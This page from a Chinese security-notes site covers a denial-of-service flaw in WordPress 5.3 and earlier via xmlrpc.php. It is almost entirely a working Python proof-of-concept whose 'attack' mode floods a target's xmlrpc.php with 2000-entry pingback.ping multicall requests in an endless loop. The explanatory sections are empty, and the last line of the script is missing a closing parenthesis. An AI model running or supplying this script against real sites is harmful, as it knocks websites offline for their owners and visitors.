menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right WordPress =5.3.0 xmlrpc.php 拒绝服务漏洞 chevron_right WordPress =5.3.0 xmlrpc.php 拒绝服务漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    WordPress =5.3.0 xmlrpc.php 拒绝服务漏洞.md
    4.48 KB / 2021-07-15 20:10:38
        WordPress \<=5.3.x xmlrpc.php拒绝服务漏洞
    =========================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    WordPress \<= 5.3
    
    三、复现过程
    ------------
    
    漏洞文件
    
        /wordpress/xmlrpc.php
        /wp/xmlrpc.php
        from urllib.parse import urlparse
        import sys, uuid, urllib3, requests
        urllib3.disable_warnings()
    
        DEBUG = True 
        def dprint(X):
            if DEBUG: print(X)
    
        COUNT=0
        def build_entry(pingback,target):
            global COUNT
            COUNT +=1
            entry  = "<value><struct><member><name>methodName</name><value>pingback.ping</value></member><member>"
            entry += f"<name>params</name><value><array><data><value>{pingback}/{COUNT}</value>"
            #entry += f"<name>params</name><value><array><data><value>{pingback}/{uuid.uuid4()}</value>"
            entry += f"<value>{target}/?p=1</value></data></array></value></member></struct></value>"
            #entry += f"<value>{target}/#e</value></data></array></value></member></struct></value>" # taxes DB more
            return entry
    
        def build_request(pingback,target,entries):
            prefix   = "<methodCall><methodName>system.multicall</methodName><params><param><array>"
            suffix   = "</array></param></params></methodCall>"
            request  = prefix
            for _ in range(0,entries): request += build_entry(pingback,target)
            request += suffix
            return request
    
        def usage_die():
            print(f"[!] Usage: {sys.argv[0]} <check/attack> <pingback url> <target url>")
            exit(1)
    
        def get_args():
            if len(sys.argv) != 4: usage_die()
            action   = sys.argv[1]
            pingback = sys.argv[2]
            target   = sys.argv[3]
            if action not in ("check","attack"): usage_die()
            for URL in (pingback,target):
                res = urlparse(URL)
                if not all((res.scheme,res.netloc)): usage_die()
            return (action,pingback,target)
    
        def main(action,pingback,target):
            print("[>] WordPress <= 5.3.? Denial-of-Service PoC")
            print("[>] @roddux 2019 | Arcturus Security | labs.arcturus.net")
            # he checc
            if action == "check":    entries = 2
            # he attacc
            elif action == "attack": entries = 2000
            # but most importantly
            print(f"[+] Running in {action} mode")
            # he pingbacc
            print(f"[+] Got pingback URL \"{pingback}\"")
            print(f"[+] Got target URL \"{target}\"")
            print(f"[+] Building {entries} pingback calls")
            # entries = 1000 # TESTING
            xmldata = build_request(pingback,target,entries)
            dprint("[+] Request:\n")
            dprint(xmldata+"\n")
            print(f"[+] Request size: {len(xmldata)} bytes")
            if action == "attack":
                print("[+] Starting attack loop, CTRL+C to stop...")
                rcount = 0
                try:
                    while True:
                            try:
                                resp  = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=.2)
                                #dprint(resp.content.decode("UTF-8")[0:500]+"\n")
                                if resp.status_code != 200:
                                    print(f"[!] Received odd status ({resp.status_code}) -- DoS successful?")
                            except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
                                pass
                            rcount += 1
                            print(f"\r[+] Requests sent: {rcount}",end="")
                except KeyboardInterrupt:
                    print("\n[>] Attack finished",end="\n\n")
                    exit(0)
            elif action == "check":
                print("[+] Sending check request")
                try:
                    resp = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=10)
                    if resp.status_code != 200:
                        print(f"[!] Received odd status ({resp.status_code}) -- check target url")
                    print("[+] Request sent")
                    print("[+] Response headers:\n")
                    print(resp.headers)
                    print("[+] Response dump:")
                    print(resp.content.decode("UTF-8"))
                    print("[+] Here's the part where you figure out if it's vulnerable, because I CBA to code it")
                except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
                    print("[!] Connection error")
                    exit(1)
                print("[>] Check finished")
    
        if __name__ == "__main__":
            main(*get_args()
    
    
    links
    file_download